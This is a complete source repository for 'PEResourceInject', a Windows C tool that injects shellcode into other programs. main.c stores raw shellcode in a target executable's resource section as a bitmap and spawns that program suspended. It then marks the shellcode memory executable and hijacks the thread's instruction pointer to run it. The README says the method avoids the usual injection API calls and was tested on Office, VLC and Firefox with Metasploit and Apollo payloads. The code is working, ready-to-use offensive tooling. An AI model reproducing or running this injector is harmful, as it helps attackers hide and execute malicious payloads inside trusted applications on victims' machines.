├── LICENSE ├── PEResourceInject.sln ├── PEResourceInject.vcxproj ├── README.md ├── main.c └── main.h /LICENSE: -------------------------------------------------------------------------------- 1 | BSD 3-Clause License 2 | 3 | Copyright (c) 2022, Wra7h 4 | All rights reserved. 5 | 6 | Redistribution and use in source and binary forms, with or without 7 | modification, are permitted provided that the following conditions are met: 8 | 9 | 1. Redistributions of source code must retain the above copyright notice, this 10 | list of conditions and the following disclaimer. 11 | 12 | 2. Redistributions in binary form must reproduce the above copyright notice, 13 | this list of conditions and the following disclaimer in the documentation 14 | and/or other materials provided with the distribution. 15 | 16 | 3. Neither the name of the copyright holder nor the names of its 17 | contributors may be used to endorse or promote products derived from 18 | this software without specific prior written permission. 19 | 20 | THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" 21 | AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE 22 | IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE 23 | DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE 24 | FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL 25 | DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR 26 | SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER 27 | CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, 28 | OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE 29 | OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. 30 | -------------------------------------------------------------------------------- /PEResourceInject.sln: -------------------------------------------------------------------------------- 1 |  2 | Microsoft Visual Studio Solution File, Format Version 12.00 3 | # Visual Studio Version 17 4 | VisualStudioVersion = 17.2.32616.157 5 | MinimumVisualStudioVersion = 10.0.40219.1 6 | Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "PEResourceInject", "PEResourceInject.vcxproj", "{FF01AF50-4737-475A-88AC-77A66F332537}" 7 | EndProject 8 | Global 9 | GlobalSection(SolutionConfigurationPlatforms) = preSolution 10 | Debug|x64 = Debug|x64 11 | Debug|x86 = Debug|x86 12 | Release|x64 = Release|x64 13 | Release|x86 = Release|x86 14 | EndGlobalSection 15 | GlobalSection(ProjectConfigurationPlatforms) = postSolution 16 | {FF01AF50-4737-475A-88AC-77A66F332537}.Debug|x64.ActiveCfg = Debug|x64 17 | {FF01AF50-4737-475A-88AC-77A66F332537}.Debug|x64.Build.0 = Debug|x64 18 | {FF01AF50-4737-475A-88AC-77A66F332537}.Debug|x86.ActiveCfg = Debug|Win32 19 | {FF01AF50-4737-475A-88AC-77A66F332537}.Debug|x86.Build.0 = Debug|Win32 20 | {FF01AF50-4737-475A-88AC-77A66F332537}.Release|x64.ActiveCfg = Release|x64 21 | {FF01AF50-4737-475A-88AC-77A66F332537}.Release|x64.Build.0 = Release|x64 22 | {FF01AF50-4737-475A-88AC-77A66F332537}.Release|x86.ActiveCfg = Release|Win32 23 | {FF01AF50-4737-475A-88AC-77A66F332537}.Release|x86.Build.0 = Release|Win32 24 | EndGlobalSection 25 | GlobalSection(SolutionProperties) = preSolution 26 | HideSolutionNode = FALSE 27 | EndGlobalSection 28 | GlobalSection(ExtensibilityGlobals) = postSolution 29 | SolutionGuid = {3E999D3B-812A-4B92-B928-B1CA4C28A7A6} 30 | EndGlobalSection 31 | EndGlobal 32 | -------------------------------------------------------------------------------- /PEResourceInject.vcxproj: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | Debug 6 | Win32 7 | 8 | 9 | Release 10 | Win32 11 | 12 | 13 | Debug 14 | x64 15 | 16 | 17 | Release 18 | x64 19 | 20 | 21 | 22 | 23 | 24 | 25 | 26 | 27 | 28 | 16.0 29 | Win32Proj 30 | {ff01af50-4737-475a-88ac-77a66f332537} 31 | PEResourceInject 32 | 10.0 33 | 34 | 35 | 36 | Application 37 | true 38 | v143 39 | Unicode 40 | 41 | 42 | Application 43 | false 44 | v143 45 | true 46 | Unicode 47 | 48 | 49 | Application 50 | true 51 | v143 52 | Unicode 53 | 54 | 55 | Application 56 | false 57 | v143 58 | true 59 | Unicode 60 | 61 | 62 | 63 | 64 | 65 | 66 | 67 | 68 | 69 | 70 | 71 | 72 | 73 | 74 | 75 | 76 | 77 | 78 | 79 | 80 | 81 | Level3 82 | true 83 | WIN32;_DEBUG;_CONSOLE;%(PreprocessorDefinitions) 84 | true 85 | 86 | 87 | Console 88 | true 89 | 90 | 91 | 92 | 93 | Level3 94 | true 95 | true 96 | true 97 | WIN32;NDEBUG;_CONSOLE;%(PreprocessorDefinitions) 98 | true 99 | 100 | 101 | Console 102 | true 103 | true 104 | true 105 | 106 | 107 | 108 | 109 | Level3 110 | true 111 | _DEBUG;_CONSOLE;%(PreprocessorDefinitions) 112 | true 113 | 114 | 115 | Console 116 | true 117 | 118 | 119 | 120 | 121 | Level3 122 | true 123 | true 124 | true 125 | NDEBUG;_CONSOLE;%(PreprocessorDefinitions) 126 | true 127 | 128 | 129 | Console 130 | true 131 | true 132 | true 133 | 134 | 135 | 136 | 137 | 138 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # PEResourceInject 2 | A way to avoid using VirtualAllocEx/WriteProcessMemory to inject shellcode into a process. You need access to modify the target executable. 3 | 4 | If the target exe has a .rsrc section already, it is overwritten with the new resource. However if the exe did not have a .rsrc, the section is added before being spawned. 5 | 6 | - Write shellcode to the target's .rsrc as a bitmap using the UpdateResource APIs 7 | - Spawn the exe suspended 8 | - Calculate the shellcode location by parsing the PE header 9 | - VirtualProtectEx to RX 10 | - Get/SetThreadContext to execute 11 | 12 | ## Usage (x64 only) 13 | `PEResourceInject.exe -exe -bin ` 14 | 15 | Tested with: 16 | - MS Office/VLC/FireFox 17 | - Shellcode: MSFVenom/Apollo 18 | 19 | ### References/APIs: 20 | [A dive into the PE file format by 0xRick](https://0xrick.github.io/win-internals/pe8/) 21 | 22 | [BeginUpdateResource](https://docs.microsoft.com/en-us/windows/win32/api/winbase/nf-winbase-beginupdateresourcea) 23 | [UpdateResource](https://docs.microsoft.com/en-us/windows/win32/api/winbase/nf-winbase-updateresourcea) 24 | [EndUpdateResource](https://docs.microsoft.com/en-us/windows/win32/api/winbase/nf-winbase-endupdateresourcea) 25 | -------------------------------------------------------------------------------- /main.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | 5 | #include "main.h" 6 | 7 | int wmain(INT argc, WCHAR* argv[]) 8 | { 9 | PWCHAR TargetProcess = NULL; 10 | WCHAR TargetProcessCopy[FILENAME_MAX]; 11 | PWCHAR ShellcodePath = NULL; 12 | PCHAR Payload = NULL; 13 | 14 | INT Ret = FALSE; 15 | SIZE_T cTPLen = 0; 16 | DWORD PayloadBufferSize = 0; 17 | DWORD cbRet = 0; 18 | DWORD dwOldProtect = 0; 19 | DWORD_PTR AddressShellcodeStart = 0; 20 | DWORD_PTR PEBOffset = 0; 21 | DWORD_PTR ImageBase = 0; 22 | HANDLE hUpdate = NULL; 23 | NTSTATUS ntStatus = NOERROR; 24 | SIZE_T cbRead = 0; 25 | 26 | STARTUPINFO sStartInfo = { 0 }; 27 | PROCESS_INFORMATION sProcInfo = { 0 }; 28 | PROCESS_BASIC_INFORMATION sPBI = { 0 }; 29 | IMAGE_DOS_HEADER sImageDOSHeader = { 0 }; 30 | IMAGE_NT_HEADERS64 sImageNTHeader = { 0 }; 31 | IMAGE_SECTION_HEADER sImageSectionHeader = { 0 }; 32 | CONTEXT sCtx = { 0 }; 33 | 34 | 35 | for (INT i = 1; i < argc; i++) 36 | { 37 | if (wcscmp(argv[i], L"-exe") == 0) 38 | { 39 | TargetProcess = argv[i + 1]; 40 | i++; 41 | } 42 | else if (wcscmp(argv[i], L"-bin") == 0) 43 | { 44 | ShellcodePath = argv[i + 1]; 45 | i++; 46 | } 47 | else if (wcscmp(argv[i], L"-h") == 0 || wcscmp(argv[i], L"-help") == 0) 48 | { 49 | printf("\nUsage: -exe -bin \n\n"); 50 | printf("-exe : path to the executable to spawn/inject\n"); 51 | printf("-bin : path to raw shellcode\n"); 52 | exit(0); 53 | } 54 | } 55 | 56 | if (!TargetProcess || !ShellcodePath) 57 | { 58 | printf("\nUsage: -exe -bin \n\n"); 59 | printf("-exe : path to the executable to spawn/inject\n"); 60 | printf("-bin : path to raw shellcode\n"); 61 | exit(1); 62 | } 63 | 64 | //First create a backup of the TargetProcess file. 65 | cTPLen = wcslen(TargetProcess); 66 | wcscpy_s(TargetProcessCopy, FILENAME_MAX, TargetProcess); 67 | //Replace the '.' with '_' to avoid name collision. 68 | TargetProcessCopy[(cTPLen)-4] = '_'; 69 | 70 | Ret = CopyFile(TargetProcess, TargetProcessCopy, FALSE); 71 | if (!Ret) 72 | { 73 | printf("[!] Failed to make a back up of the target exe. Exiting...\n"); 74 | goto CLEANUP; 75 | } 76 | printf("[+] Backup Created: %ls\n", TargetProcessCopy); 77 | 78 | Ret = ReadContents(ShellcodePath, &Payload, &PayloadBufferSize); 79 | if (!Ret) 80 | { 81 | printf("[!] Payload is empty. Exiting...\n"); 82 | goto CLEANUP; 83 | } 84 | 85 | //Attempt to update the resource of the executable we want to spawn. 86 | hUpdate = BeginUpdateResource(TargetProcess, TRUE); 87 | if (!hUpdate) 88 | goto CLEANUP; 89 | 90 | Ret = UpdateResource(hUpdate, RT_BITMAP, MAKEINTRESOURCE(RT_BITMAP), 0, Payload, PayloadBufferSize); 91 | if (!Ret) 92 | goto CLEANUP; 93 | 94 | Ret = EndUpdateResource(hUpdate, FALSE); 95 | if (!Ret) 96 | goto CLEANUP; 97 | 98 | printf("[+] Resource Updated: %ls\n", TargetProcess); 99 | 100 | //Spawn the process as suspended 101 | Ret = CreateProcessW(TargetProcess, NULL, NULL, NULL, FALSE, CREATE_SUSPENDED, NULL, NULL, &sStartInfo, &sProcInfo); 102 | if (!Ret) 103 | goto CLEANUP; 104 | 105 | printf("[+] Spawned: %ls\n", TargetProcess); 106 | 107 | //Grab NtQueryInformationProcess 108 | pfnNtQueryInformationProcess pNtQueryInformationProcess; 109 | HMODULE hNtDll = LoadLibrary(L"NtDll.dll"); 110 | pNtQueryInformationProcess = (pfnNtQueryInformationProcess)GetProcAddress(hNtDll, "NtQueryInformationProcess"); 111 | FreeLibrary(hNtDll); 112 | 113 | ntStatus = pNtQueryInformationProcess(sProcInfo.hProcess, ProcessBasicInformation, &sPBI, sizeof(PROCESS_BASIC_INFORMATION), &cbRet); 114 | if (ntStatus) // 0 = SUCCESS 115 | goto CLEANUP; 116 | 117 | PEBOffset = (DWORD_PTR)sPBI.PebBaseAddress + 0x10; //x64 118 | 119 | //With the PEB address, get the address of the image base 120 | Ret = ReadProcessMemory(sProcInfo.hProcess, (LPCVOID)PEBOffset, &ImageBase, 8, NULL); 121 | if (!Ret) 122 | goto CLEANUP; 123 | 124 | printf("[+] Image Base: 0x%p\n", (PVOID)ImageBase); 125 | 126 | //From ImageBase, populate a IMAGE_DOS_HEADER to get the e_lfanew 127 | Ret = ReadProcessMemory(sProcInfo.hProcess, (LPCVOID)ImageBase, &sImageDOSHeader, sizeof(IMAGE_DOS_HEADER), &cbRead); 128 | if (!Ret) 129 | goto CLEANUP; 130 | 131 | //Add the imagebase + the value of the e_lfanew to get the start of the IMAGE_NT_HEADERS 132 | DWORD_PTR AddressImageNTHeader = ((DWORD_PTR)ImageBase + sImageDOSHeader.e_lfanew); 133 | Ret = ReadProcessMemory(sProcInfo.hProcess, (LPCVOID)AddressImageNTHeader, &sImageNTHeader, sizeof(IMAGE_NT_HEADERS64), &cbRead); 134 | if (!Ret) 135 | goto CLEANUP; 136 | 137 | //Moving on to sections, get the address of the first section 138 | DWORD_PTR AddressOfSection = AddressImageNTHeader + (DWORD_PTR)(sizeof(DWORD) + sizeof(IMAGE_FILE_HEADER) + sImageNTHeader.FileHeader.SizeOfOptionalHeader); 139 | 140 | // Identify which section is the .rsrc section which should contain the bitmap of our shellcode. 141 | for (int i = 0; i < sImageNTHeader.FileHeader.NumberOfSections; i++) { 142 | 143 | ReadProcessMemory(sProcInfo.hProcess, (LPCVOID)AddressOfSection, &sImageSectionHeader, sizeof(IMAGE_SECTION_HEADER), &cbRead); 144 | if (strcmp(sImageSectionHeader.Name, ".rsrc") == 0) 145 | { 146 | // We found the .rsrc section, so take the Address of the Image base, add the virtual address of the .rsrc Section, 147 | // which gets us to the start of the bitmap. From the start of the bitmap, add another 0x58 to get the start of the shellcode 148 | AddressShellcodeStart = (DWORD_PTR)ImageBase + (DWORD_PTR)sImageSectionHeader.VirtualAddress + 0x58; 149 | 150 | printf("[+] .rsrc Image Section RVA: 0x%p\n", (PVOID)sImageSectionHeader.VirtualAddress); 151 | printf("[MATH] ImageBase[0x%p] + .rsrc RVA[0x%p] + BitmapHeader[0x58]\n", (PVOID)ImageBase, (PVOID)sImageSectionHeader.VirtualAddress); 152 | printf("[+] Shellcode Start: 0x%p\n", (PVOID)AddressShellcodeStart); 153 | 154 | //Ensure protections are PAGE_EXECUTE_READ 155 | Ret = VirtualProtectEx(sProcInfo.hProcess, (LPVOID)AddressShellcodeStart, PayloadBufferSize, PAGE_EXECUTE_READ, &dwOldProtect); 156 | if (!Ret) 157 | goto CLEANUP; 158 | 159 | break; 160 | } 161 | //.rsrc wasn't found, move to the start of the next section 162 | AddressOfSection += sizeof(IMAGE_SECTION_HEADER); 163 | } 164 | 165 | if (!AddressShellcodeStart) 166 | goto CLEANUP; 167 | 168 | //Execute the shellcode 169 | sCtx.ContextFlags = CONTEXT_ALL; 170 | GetThreadContext(sProcInfo.hThread, &sCtx); 171 | sCtx.Rip = (DWORD64)AddressShellcodeStart; 172 | SetThreadContext(sProcInfo.hThread, &sCtx); 173 | ResumeThread(sProcInfo.hThread); 174 | 175 | CLEANUP: 176 | if (Payload) 177 | { 178 | free(Payload); 179 | } 180 | 181 | if (sProcInfo.hProcess != NULL) 182 | { 183 | CloseHandle(sProcInfo.hThread); 184 | CloseHandle(sProcInfo.hProcess); 185 | } 186 | 187 | printf("\n[~] Done!"); 188 | 189 | return 0; 190 | } 191 | 192 | INT ReadContents(PWSTR Filepath, PCHAR* Buffer, PDWORD BufferSize) 193 | { 194 | FILE* f = NULL; 195 | _wfopen_s(&f, Filepath, L"rb"); 196 | if (f) 197 | { 198 | fseek(f, 0, SEEK_END); 199 | *BufferSize = ftell(f); 200 | fseek(f, 0, SEEK_SET); 201 | *Buffer = malloc(*BufferSize); 202 | fread(*Buffer, *BufferSize, 1, f); 203 | fclose(f); 204 | } 205 | 206 | return (*BufferSize != 0) ? TRUE : FALSE; 207 | } -------------------------------------------------------------------------------- /main.h: -------------------------------------------------------------------------------- 1 | #pragma once 2 | typedef NTSTATUS(NTAPI* pfnNtQueryInformationProcess)( 3 | IN HANDLE ProcessHandle, 4 | IN PROCESSINFOCLASS ProcessInformationClass, 5 | OUT PVOID ProcessInformation, 6 | IN ULONG ProcessInformationLength, 7 | OUT PULONG ReturnLength OPTIONAL 8 | ); 9 | 10 | INT ReadContents(PWSTR Filepath, PCHAR* Buffer, PDWORD BufferSize); --------------------------------------------------------------------------------